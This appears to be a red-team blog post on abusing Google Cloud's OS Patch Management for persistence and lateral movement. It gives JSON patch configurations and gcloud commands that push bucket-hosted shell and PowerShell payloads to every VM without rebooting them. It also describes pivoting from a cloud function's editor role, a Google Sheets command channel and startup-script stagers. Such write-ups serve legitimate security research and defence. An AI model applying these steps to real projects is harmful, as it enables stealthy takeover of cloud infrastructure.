What is OS Patch Management?
OS patch management is a service provided by Google Cloud Platform (GCP) to enable users of the platform to update and manage long-running Virtual Machines (VMs). Updates are in the form of a user-defined bash or PowerShell scripts that can either be referenced locally or referenced via a storage bucket. One of the main features it has is scheduling where you can determine how often an update occurs and across what systems. One important thing to note is that patch management can occur on both Windows and Linux VMs.
As an attacker, this seems like a fantastic opportunity to gain a cross-platform and reliable way of getting code execution across every compute instance. It also runs under the context of the OS Config agent.
Abusing For Persistence
One of the main features used in patch management is the ability to schedule updates. This feature within the product is called patch deployment.
Using the CLI we can schedule recurring updates, to use the CLI we must provide a JSON file that includes the time zone, time of day that the patch will execute and the frequency by which it will occur, the empty timeOfDay
object means it will start at 00:00.
1
2
3
4
5
6
7
8
"recurringSchedule": {
"timeZone": {
"id": "America/New_York"
},
"timeOfDay": {
},
"frequency": "DAILY"
},
The next field that’s required is instance filtering. This field determines the compute instances that will be affected by the patch. In our case, we will want all of the compute instances to be updated.
1
2
3
"instanceFilter": {
"all":true
},
In order to execute our payload we will be adding a preStep object. This will run before an update occurs. It specifies the GCP bucket containing the payloads and the file name of the payloads. The interpreter string object outlines which shell to use. With Windows you have the option to use either powershell or traditional batch scripts, on Linux we can only use shell scripts. Since we’re using a GCP bucket to deploy our payload we need to specify a valid generationNumber
for the payload, this is simply the current version of the file it can be found in the object metadata. Another important feature to enable is migInstancesAllowed
, this makes sure that managed instance groups, are able to be affected by the patch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"preStep": {
"linuxExecStepConfig": {
"gcsObject": {
"bucket": "myBucketName",
"object": "payload.sh",
"generationNumber": "1659659086420983"
},
"interpreter": "SHELL"
},
"windowsExecStepConfig": {
"gcsObject": {
"bucket": "myBucketName",
"object": "payload.ps1",
"generationNumber": "1659659086420983"
},
"interpreter": "POWERSHELL"
}
"migInstancesAllowed": true
},
One final important part of our patch is the rebootConfig string in our object. For the affected machines to not be rebooted, we must set the value to NEVER
.
1
"rebootConfig": "NEVER",
If we wanted to deploy this patch using the gcloud CLI we would run:
gcloud compute os-config patch-deployments create my-update --file=patch.json
Lateral Movement
Cloud Functions
By default cloud functions have the editor role which gives it access to more than 5,000 permissions (to view all permissions offered by the role run gcloud iam roles describe roles/editor
). One of the permissions it has access to is osconfig.patchJobs.exec
which is perfect for us (if you want to create a patch deployment you will need to see if it has the osconfig.patchDeployments.create
permission). It enables us to create a malicious patch job and issue it to every compute instance. A patch job simply runs a patch only once without the ability for scheduling. To use it we will simply modify our JSON patch file to remove the recurringSchedule
JSON block so we will only execute one command. This is optional if you want to just have persistence however it is more stealthy to just execute the job once to get code execution on the machines.
By modifying the patch file outlined in the persistence section (a boilerplate patch job can be found in the patchy repo), we can deploy it using the gcloud CLI by running:
gcloud compute os-config patch-jobs execute --file=patch.json
The ability to compromise all of a project’s compute instances just by gaining access to a cloud function is incredibly scary. Application vulnerabilities are very common in the wild. If an attacker can get code execution in a poorly coded function they can move laterally and gain entire access not to just the compute instances but almost any resource hosted in the project.
To help aid in the discovery and exploitation of this misconfiguration I created Patchy. Patchy provides the ability for automatic lateral movement within a GCP environment, it also enables a service account to be manually specified to enable persistence (useful when you’ve discovered creds via OSINT or already have a foothold in the environment).
Command and Control
There are many different ways to maintain access to compute instances. One of the most stealthy and persistent methods i’ve found is to use Google Sheets as a c2. Its hard for Google to block traffic destined for APIs used by Google so this is a really good bet. It also uses a HTTPS encrypted channel. Due to it being in Python it will work out of the box on Linux but projects like py2exe make it easy for the implant to be compiled as an executable which will run across 32/64 bit Windows compute instances. To deploy this payload we can simply modify the Powershell and Bash script in the gcsObject
object to download and run the payload.
Another way is to set a malicious startup script. You can simply put a bash/powershell stager that will be executed whenever the VM is restarted.
Final Thoughts
I originally stumbled upon the idea of using patch management after watching So You Think You Can Secure Your Cloud: Red Team Engagements in GCP. Brad Richardson pointed out a couple of different issues with using it in the context of a red teaming engagement and I wanted to continue to research the feasibility of this method. The first major issue was that boxes were forced to restart after running a payload. I was able to prevent this by using a preStep script and forcing the value of rebootConfig
to NEVER
in the JSON config we uploaded to OSConfig API. The second major issue was that he never defined an attack path for using it to move laterally. In the above section Lateral Movement, I outline how we can use it to compromise a project’s compute instances. I also provided an automated solution for both the exploitation and discovery; Patchy.